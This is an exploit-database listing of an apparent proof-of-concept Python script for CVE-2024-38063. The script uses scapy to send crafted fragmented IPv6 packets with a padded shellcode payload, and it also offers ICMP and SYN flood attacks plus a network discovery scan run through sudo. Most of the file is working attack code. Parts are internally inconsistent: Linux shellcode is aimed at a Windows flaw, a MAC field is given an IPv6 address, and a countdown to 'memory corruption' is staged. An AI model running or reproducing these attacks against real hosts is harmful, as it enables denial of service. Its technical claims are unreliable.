Exploit database

GH-89433a96e7e0ab47bb61114cb5e15bf1

themehackers/cve-2024-38063

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-38063

24 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
themehackers/cve-2024-38063Revision 7555b4a07167

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-38063.py

Python · 20,917 bytes
import argparse
import subprocess
import sys
from scapy.all import *
from scapy.all import IPv6ExtHdrDestOpt , IPv6 , IPv6ExtHdrFragment , Ether , PadN , TCP , ICMP
import time
import os 
from colorama import Style , Fore , init
import logging
import shutil
import json
from datetime import datetime
import pandas as pd
from scapy.layers.inet6 import IPv6ExtHdrDestOpt, IPv6ExtHdrFragment
import matplotlib.pyplot as plt
import seaborn as sns
from collections import defaultdict
import numpy as np
from fpdf import FPDF
import base64
from io import BytesIO
from reportlab.lib import colors
from reportlab.lib.pagesizes import letter
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Image, Table, TableStyle
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.lib.units import inch
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
print(Fore.WHITE + r'''                                                                                     
            ____ _____ ____  ____     __________  ____  __   _____
           / __ ) ___// __ \/ __ \   /_  __/ __ \/ __ \/ /  / ___/
          / __  \__ \/ / / / / / /    / / / / / / / / / / / /   \__ \ 
         / /_/ /__/ / /_/ / /_/ /    / / / /_/ / /_/ / /______/ / 
        /_____/____/\____/_____/    /_/  \____/\____/_____/____/                                                            
                                                                                                  
        Developed by https://github.com/ThemeHackers
        Developed by https://www.instagram.com/_tthemzdl5678/
                                                                                                                                           
''')
init(autoreset=True)

try:
    from importlib.metadata import distributions
except ImportError:
    from importlib_metadata import distributions

def get_installed_packages():
    """Get a list of installed packages."""
    return [dist.metadata.get("Name", "").lower() for dist in distributions() if dist.metadata]


def check_git_installed():
    """Check if Git is installed."""
    if not shutil.which("git"):
        logging.error("Git is not installed. Please install Git first.")
        sys.exit(1)

def install_v6disc():
    """Clone the v6disc repository if not already cloned."""
    check_git_installed()
    repo_url = "https://github.com/cvmiller/v6disc"
    clone_dir = "v6disc"

    if not os.path.exists(clone_dir):
        logging.info("Cloning v6disc repository...")
        result = subprocess.run(['git', 'clone', repo_url], capture_output=True, text=True)
        if result.returncode != 0:
            logging.error(f"Failed to clone repository: {result.stderr}")
            sys.exit(1)
    else:
        logging.info("v6disc is already cloned.")

required_packages = ['scapy', 'psutil', 'pandas', 'matplotlib', 'seaborn', 'numpy', 'fpdf', 'reportlab']
installed_packages = get_installed_packages()

for package in required_packages:
    if package not in installed_packages:
        logging.info(f"{package} is not installed. Installing...")
        try:
            subprocess.check_call([sys.executable, '-m', 'pip', 'install', package])
            logging.info(f"Successfully installed {package}.")
        except subprocess.CalledProcessError as e:
            logging.error(f"Failed to install {package}: {e}")
            sys.exit(1)
    else:
        logging.info(f"{package} is already installed.")

install_v6disc()

parser = argparse.ArgumentParser(description="IPv6 Vulnerability Simulation Script by HackerTheme.")
parser.add_argument("--iface", type=str, required=True, help="Network interface(s) to use for sending packets, comma-separated for multiple.")
parser.add_argument("--ipv6", type=str, help="Destination IP address (optional).")
parser.add_argument("--mac_addr", type=str, default='', help="Destination MAC address (optional).")
parser.add_argument("--num_tries", type=int, default=30, help="Number of tries per batch.")
parser.add_argument("--num_batches", type=int, default=30, help="Number of batches of tries.")
args = parser.parse_args()

ifaces = args.iface.split(',')
ipv6 = args.ipv6
mac_addr = args.mac_addr
num_tries = args.num_tries
num_batches = args.num_batches

RESET = '\033[0m'
RED = '\033[91m'
MAGENTA = '\033[95m'
GREEN = '\033[92m'

shellcode = (
    "\x31\xc0"                  # xor eax, eax
    "\x50"                      # push eax (NULL)
    "\x68\x63\x61\x6c\x63"      # push 0x636c6163 ('calc')
    "\x68\x2e\x65\x78\x65"      # push 0x6578652e ('exe.')
    "\x68\x2f\x2f\x63\x61"      # push 0x61632f2f ('/calc')
    "\x89\xe3"                  # mov ebx, esp (pointer to command)
    "\x50"                      # push eax (NULL)
    "\x53"                      # push ebx (command)
    "\x89\xe1"                  # mov ecx, esp (args)
    "\x31\xd2"                  # xor edx, edx (NULL environment)
    "\xb0\x0b"                  # mov al, 0xb (syscall execve)
    "\xcd\x80"                  # int 0x80 (trigger syscall)
)

padding = b"A" * 1024  
shellcode_address = b"\x12\x34\x56\x78"
shellcode = shellcode.encode()   
payload = padding + shellcode_address + shellcode

def get_packets_with_mac(i):
    """Generate packets with a specified MAC address."""
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=0, offset=1)
    return [first, second, third]

def get_packets(i):
    """Generate packets without a MAC address."""
    if mac_addr:
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=0, offset=1)
    return [first, second, third]

def get_exploit_packet(i):
    """Generate exploit packets."""
    if mac_addr:
        return get_packets(i)
    frag_id = 0xdebac1e + i
    first = Ether(dst=ipv6) / IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(hlim=64+i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / payload
    third = Ether(dst=ipv6) / IPv6(fl=1, hlim=64+i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=0, offset=1)
    return [first, second, third]

def icmp_flood_attack(ipv6):
    """Perform ICMP flood attack."""
    logging.info(f"Starting ICMP flood attack on {ipv6}...")
    number_of_deliveries = int(input("Enter the number of ICMP flood attack shipments: "))
    send(IPv6(dst=ipv6) / ICMP() / "Flood Start!", count=1)
    for _ in range(number_of_deliveries):
        send(IPv6(dst=ipv6) / ICMP() / "Flood!", count=1000)
    send(IPv6(dst=ipv6) / ICMP() / "Flood End!", count=1)

def syn_flood_attack(i, ipv6):
    """Perform SYN flood attack."""
    logging.info(f"Starting SYN flood attack on {ipv6}...")
    frag_id = 0xdebac1e + i
    number_of_deliveries = int(input("Enter the number of SYN flood attack shipments: "))
    send(IPv6(dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / TCP(sport=RandShort(), dport=80, flags="S"), count=1)
    for i in range(number_of_deliveries):
        frag_id = 0xdebac1e + i
        send(IPv6(hlim=64 + i, dst=ipv6) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / TCP(sport=RandShort(), dport=80, flags="S"), count=1000)
    send(IPv6(dst=ipv6) / IPv6ExtHdrFragment(id=frag_id + 1, m=1, offset=0) / TCP(sport=RandShort(), dport=80, flags="S"), count=1)

class SecurityReport(FPDF):
    def __init__(self):
        super().__init__()
        self.set_auto_page_break(auto=True, margin=15)

    def header(self):
        self.set_font('Arial', 'B', 15)
        self.cell(0, 10, 'IPv6 Security Analysis Report', 0, 1, 'C')
        self.set_font('Arial', 'I', 10)
        self.cell(0, 10, 'Professional Security Assessment', 0, 1, 'C')
        self.ln(10)

    def footer(self):
        self.set_y(-15)
        self.set_font('Arial', 'I', 8)
        self.cell(0, 10, f'Page {self.page_no()}', 0, 0, 'C')
        self.cell(0, 10, f'Generated on: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}', 0, 0, 'R')

    def add_bullet_point(self, text, indent=10):
        """Add a bullet point with proper Unicode handling."""
        self.set_x(indent)
        self.multi_cell(0, 10, f'- {text}')

    def add_section_title(self, title):
        """Add a section title with proper formatting."""
        self.set_font('Arial', 'B', 14)
        self.set_text_color(0, 0, 128)  # Navy blue
        self.cell(0, 10, title, 0, 1)
        self.set_text_color(0, 0, 0)  # Reset to black
        self.ln(5)

    def add_subsection_title(self, title):
        """Add a subsection title with proper formatting."""
        self.set_font('Arial', 'B', 12)
        self.set_text_color(0, 0, 139)  # Dark blue
        self.cell(0, 10, title, 0, 1)
        self.set_text_color(0, 0, 0)  # Reset to black
        self.ln(3)

def analyze_traffic(packets):
    """Analyze network traffic patterns with enhanced metrics."""
    traffic_stats = defaultdict(int)
    packet_sizes = []
    protocols = defaultdict(int)
    timestamps = []
    
    for packet in packets:
        if IPv6 in packet:
            traffic_stats['ipv6'] += 1
            packet_sizes.append(len(packet))
            timestamps.append(packet.time)
            
            if TCP in packet:
                traffic_stats['tcp'] += 1
                protocols['tcp'] += 1
                if packet[TCP].dport == 80:
                    traffic_stats['http'] += 1
                elif packet[TCP].dport == 443:
                    traffic_stats['https'] += 1
            if ICMP in packet:
                traffic_stats['icmp'] += 1
                protocols['icmp'] += 1
            if IPv6ExtHdrFragment in packet:
                traffic_stats['fragmented'] += 1
                protocols['fragmented'] += 1
    
    return {
        'traffic_stats': dict(traffic_stats),
        'packet_sizes': packet_sizes,
        'protocols': dict(protocols),
        'timestamps': timestamps,
        'total_packets': len(packets),
        'avg_packet_size': np.mean(packet_sizes) if packet_sizes else 0,
        'max_packet_size': max(packet_sizes) if packet_sizes else 0,
        'min_packet_size': min(packet_sizes) if packet_sizes else 0
    }

def generate_visualizations(analysis_data):
    """Generate multiple visualizations for the report with enhanced styling."""
    plots = {}
    

    plt.style.use('default')
    sns.set_theme(style="whitegrid")
    

    plt.figure(figsize=(10, 6))
    protocols_df = pd.DataFrame(list(analysis_data['protocols'].items()), columns=['Protocol', 'Count'])
    ax = sns.barplot(x='Protocol', y='Count', data=protocols_df, palette='viridis')
    plt.title('Protocol Distribution', pad=20, fontsize=12, fontweight='bold')
    plt.xticks(rotation=45, ha='right')
    plt.tight_layout()
    buf = BytesIO()
    plt.savefig(buf, format='png', bbox_inches='tight', dpi=300)
    plt.close()
    plots['protocol_dist'] = buf.getvalue()


    plt.figure(figsize=(10, 6))
    sns.histplot(analysis_data['packet_sizes'], bins=30, color='skyblue', edgecolor='black')
    plt.title('Packet Size Distribution', pad=20, fontsize=12, fontweight='bold')
    plt.xlabel('Packet Size (bytes)', fontsize=10)
    plt.ylabel('Count', fontsize=10)
    plt.tight_layout()
    buf = BytesIO()
    plt.savefig(buf, format='png', bbox_inches='tight', dpi=300)
    plt.close()
    plots['packet_sizes'] = buf.getvalue()


    if analysis_data['timestamps']:
        plt.figure(figsize=(12, 6))
        time_series = pd.Series(analysis_data['timestamps'])
        time_series.plot(color='green', linewidth=2)
        plt.title('Traffic Over Time', pad=20, fontsize=12, fontweight='bold')
        plt.xlabel('Time', fontsize=10)
        plt.ylabel('Packet Count', fontsize=10)
        plt.grid(True, linestyle='--', alpha=0.7)
        plt.tight_layout()
        buf = BytesIO()
        plt.savefig(buf, format='png', bbox_inches='tight', dpi=300)
        plt.close()
        plots['traffic_time'] = buf.getvalue()

    return plots

def save_plot_to_file(plot_data, filename):
    """Save plot data to a temporary file."""
    with open(filename, 'wb') as f:
        f.write(plot_data)
    return filename

def generate_report(scan_results, traffic_stats, output_file="scan_report.pdf"):
    """Generate a comprehensive PDF report with enhanced styling and data handling."""
    try:
        report_data = {
            "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
            "scan_results": scan_results,
            "traffic_analysis": traffic_stats,
            "vulnerabilities_found": len(scan_results.get("vulnerabilities", [])),
            "recommendations": [
                "Implement proper IPv6 security controls",
                "Enable IPv6 firewall rules",
                "Monitor IPv6 traffic patterns",
                "Regular security assessments",
                "Implement rate limiting for ICMP traffic",
                "Enable IPv6 packet filtering",
                "Monitor for unusual fragmentation patterns",
                "Implement proper logging and monitoring"
            ],
            "risk_levels": {
                "high": ["Unusual fragmentation patterns", "Excessive ICMP traffic"],
                "medium": ["Unfiltered IPv6 traffic", "Missing security controls"],
                "low": ["Basic security measures needed"]
            }
        }
        
        with open("scan_report.json", "w", encoding='utf-8') as f:
            json.dump(report_data, f, indent=4, ensure_ascii=False)
        
        plots = generate_visualizations(traffic_stats)
        
        pdf = SecurityReport()
        pdf.add_page()
        
        pdf.add_section_title('Executive Summary')
        pdf.set_font('Arial', '', 12)
        summary_text = (
            f'Total packets analyzed: {traffic_stats["total_packets"]}\n'
            f'Vulnerabilities found: {report_data["vulnerabilities_found"]}\n'
            f'Average packet size: {traffic_stats["avg_packet_size"]:.2f} bytes\n'
            f'Maximum packet size: {traffic_stats["max_packet_size"]} bytes\n'
            f'Minimum packet size: {traffic_stats["min_packet_size"]} bytes'
        )
        pdf.multi_cell(0, 10, summary_text)
        pdf.ln(5)
        
        pdf.add_section_title('Traffic Analysis')
        
        plot_files = {}
        for title, plot_data in plots.items():
            temp_file = f"temp_{title}.png"
            plot_files[title] = save_plot_to_file(plot_data, temp_file)
            pdf.image(temp_file, x=10, w=190)
            pdf.ln(10)
        
        pdf.add_subsection_title('Detailed Statistics')
        pdf.set_font('Arial', '', 11)
        stats_text = (
            f'Protocol Distribution:\n'
            f'- IPv6: {traffic_stats["traffic_stats"].get("ipv6", 0)} packets\n'
            f'- TCP: {traffic_stats["traffic_stats"].get("tcp", 0)} packets\n'
            f'- ICMP: {traffic_stats["traffic_stats"].get("icmp", 0)} packets\n'
            f'- HTTP: {traffic_stats["traffic_stats"].get("http", 0)} packets\n'
            f'- HTTPS: {traffic_stats["traffic_stats"].get("https", 0)} packets\n'
            f'- Fragmented: {traffic_stats["traffic_stats"].get("fragmented", 0)} packets'
        )
        pdf.multi_cell(0, 10, stats_text)
        pdf.ln(5)
        
        pdf.add_page()
        pdf.add_section_title('Security Recommendations')
        pdf.set_font('Arial', '', 11)
        for rec in report_data["recommendations"]:
            pdf.add_bullet_point(rec)
        
        pdf.add_page()
        pdf.add_section_title('Risk Assessment')
        pdf.set_font('Arial', '', 11)
        for risk_level, items in report_data["risk_levels"].items():
            pdf.add_subsection_title(f'{risk_level.upper()} Risk Items')
            for item in items:
                pdf.add_bullet_point(item)
            pdf.ln(5)
        
        pdf.output(output_file)
        
        for temp_file in plot_files.values():
            try:
                os.remove(temp_file)
            except:
                pass
        
        logging.info(f"Comprehensive report generated: {output_file}")
        
    except Exception as e:
        logging.error(f"Error generating report: {str(e)}")
        raise

def monitor_traffic(iface, duration=60):
    """Monitor network traffic in real-time."""
    logging.info(f"Starting traffic monitoring on interface {iface} for {duration} seconds...")
    packets = sniff(iface=iface, timeout=duration)
    return analyze_traffic(packets)

def prompt_select_attack(ipv6):
    """Prompt user to select attack type."""
    
    print("\nSelect an attack type:")
    print("[1] ICMP Flood Attack")
    print("[2] SYN Flood Attack")
    print("[3] Traffic Analysis")
    print("[4] Skip Attack")
    choice = input("Your choice: ")

    if choice == '1':
        icmp_flood_attack(ipv6)
    elif choice == '2':
        syn_flood_attack(0, ipv6)
    elif choice == '3':
        traffic_stats = monitor_traffic(ifaces[0])
        generate_report({"vulnerabilities": []}, traffic_stats)
    else:
        logging.info("Skipping attack.")

def prompt_run_v6disc():
    """Prompt user to run v6disc.sh."""
    print(Fore.RED + f"\nIf you want to use v6disc yourself, you can access the file and run sudo bash v6disc.sh -h to get help.")
    print("\n" + "="*120)
    print("               v6disc.sh - IPv6 Discovery Script")
    print("="*120 + "\n")
    print(Fore.GREEN + f"Please select an option:")
    print(Fore.GREEN + f"  [y] Run v6disc.sh Advanced scan")
    print(Fore.GREEN + f"  [o] Run v6disc.sh General scan")
    print(Fore.GREEN + f"  [s] Skipping v6disc.sh...")
    print(Fore.GREEN + f"  [n] exit\n")
    run_script = input(Fore.CYAN + f"Your choice (y/o/s/n): ").lower()

    if run_script == 'y':
        logging.info("Running v6disc.sh Advanced scan...")
        os.system('sudo bash v6disc/v6disc.sh -i eth0 -L -D -N -n')
    elif run_script == 'o':
        logging.info("Running v6disc.sh General scan...")
        os.system('sudo bash v6disc/v6disc.sh -L')
    elif run_script == 's':
        logging.info("Skipping v6disc.sh...")
        return ipv6
    else:
        logging.info("Exiting...")
        sys.exit()

def prompt_send_dangerous_packets():
    """Prompt user to send dangerous packets."""
    run_packets = input("Do you want to send a dangerous package? (y/n): ").lower()
    if run_packets == 'y':
        logging.info("Sending packets...")
        for iface in ifaces:
            sendp(final_ps, iface=iface) if mac_addr else send(final_ps, iface=iface)
    elif run_packets == 'n':
        logging.info("Exiting program...")
        sys.exit()
    else:
        logging.warning("Invalid input. Skipping packet sending...")

if not ipv6:
    logging.info("Scanning network for available IPv6 addresses...")
    prompt_run_v6disc()
    time.sleep(1)
    ipv6 = input("No IPv6 address provided. Please enter the IPv6 address you want to use: ")
    mac_addr = input("Enter MAC address if auto-find is not possible: ")
else:
    use_ipv6 = input(f"Do you want to use the provided IPv6 address {ipv6}? (y/n): ").lower()
    if use_ipv6 == 'n':
        ipv6 = input("Please enter the new IPv6 address (Can be left blank): ")
    elif use_ipv6 != 'y':
        logging.error("Invalid input. Exiting...")
        sys.exit()

final_ps = []

for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_exploit_packet(i) + get_packets(i)

if ipv6:
    prompt_select_attack(ipv6)
    prompt_send_dangerous_packets()
else:
    prompt_run_v6disc()
    prompt_select_attack(ipv6)
    prompt_send_dangerous_packets()

for i in range(60):
    print(f"{MAGENTA}Memory corruption will be triggered in {60-i} seconds{RESET}", end='\r')
    time.sleep(1)

logging.info("Scanning and monitoring completed. Exiting...")